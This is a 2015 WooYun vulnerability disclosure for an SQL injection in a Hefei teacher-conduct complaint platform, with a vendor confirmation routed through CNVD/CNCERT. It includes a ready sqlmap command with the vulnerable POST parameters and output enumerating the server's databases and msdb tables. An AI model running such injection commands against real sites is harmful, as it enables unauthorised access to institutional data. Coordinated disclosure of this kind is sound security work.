当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0140508

漏洞标题：合肥市师德建设与教师管理投诉平台SQL（POST）直射

相关厂商：合肥市师德建设与教师管理投诉平台

漏洞作者： 冷白开。

提交时间：2015-09-13 16:34

修复时间：2015-10-30 14:04

公开时间：2015-10-30 14:04

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-13： 细节已通知厂商并且等待厂商处理中
2015-09-15： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-25： 细节向核心白帽子及相关领域专家公开
2015-10-05： 细节向普通白帽子公开
2015-10-15： 细节向实习白帽子公开
2015-10-30： 细节向公众公开

简要描述：

合肥市师德建设与教师管理投诉平台SQL直射

详细说明：

sqlmap.py -u "http://**.**.**.**:8080/SearchSupervision.aspx" --data "id=88952634&submit=%E6%9F%A5%E8%AF%A2&word=88952634" --dbs

1.png

available databases [6]:
[*] Edu_Suggest
[*] master
[*] model
[*] msdb
[*] MSJY1010
[*] tempdb
Database: msdb
[92 tables]
+-------------------------------------+
| MSdatatype_mappings                 |
| MSdbms                              |
| MSdbms_datatype                     |
| MSdbms_datatype_mapping             |
| MSdbms_map                          |
| backupfile                          |
| backupfilegroup                     |
| backupmediafamily                   |
| backupmediaset                      |
| backupset                           |
| log_shipping_monitor_alert          |
| log_shipping_monitor_error_detail   |
| log_shipping_monitor_history_detail |
| log_shipping_monitor_primary        |
| log_shipping_monitor_secondary      |
| log_shipping_primaries              |
| log_shipping_primary_databases      |
| log_shipping_primary_secondaries    |
| log_shipping_secondaries            |
| log_shipping_secondary              |
| log_shipping_secondary_databases    |
| logmarkhistory                      |
| restorefile                         |
| restorefilegroup                    |
| restorehistory                      |
| sqlagent_info                       |
| suspect_pages                       |
| sysalerts                           |
| syscachedcredentials                |
| syscategories                       |
| sysdatatypemappings                 |
| sysdbmaintplan_databases            |
| sysdbmaintplan_history              |
| sysdbmaintplan_jobs                 |
| sysdbmaintplans                     |
| sysdownloadlist                     |
| sysdtscategories                    |
| sysdtslog90                         |
| sysdtspackagefolders90              |
| sysdtspackagelog                    |
| sysdtspackages                      |
| sysdtspackages90                    |
| sysdtssteplog                       |
| sysdtstasklog                       |
| sysjobactivity                      |
| sysjobhistory                       |
| sysjobs                             |
| sysjobs_view                        |
| sysjobschedules                     |
| sysjobservers                       |
| sysjobsteps                         |
| sysjobstepslogs                     |
| sysmail_account                     |
| sysmail_allitems                    |
| sysmail_attachments                 |
| sysmail_attachments_transfer        |
| sysmail_configuration               |
| sysmail_event_log                   |
| sysmail_faileditems                 |
| sysmail_log                         |
| sysmail_mailattachments             |
| sysmail_mailitems                   |
| sysmail_principalprofile            |
| sysmail_profile                     |
| sysmail_profileaccount              |
| sysmail_query_transfer              |
| sysmail_send_retries                |
| sysmail_sentitems                   |
| sysmail_server                      |
| sysmail_servertype                  |
| sysmail_unsentitems                 |
| sysmaintplan_log                    |
| sysmaintplan_logdetail              |
| sysmaintplan_plans                  |
| sysmaintplan_subplans               |
| sysnotifications                    |
| sysoperators                        |
| sysoriginatingservers               |
| sysoriginatingservers_view          |
| sysproxies                          |
| sysproxylogin                       |
| sysproxyloginsubsystem_view         |
| sysproxysubsystem                   |
| sysschedules                        |
| sysschedules_localserver_view       |
| syssessions                         |
| syssubsystems                       |
| systargetservergroupmembers         |
| systargetservergroups               |
| systargetservers                    |
| systargetservers_view               |
| systaskids                          |
+-------------------------------------+

未深入

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-09-15 14:02

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给安徽分中心，由其后续协调网站管理单位处置。

最新状态：

暂无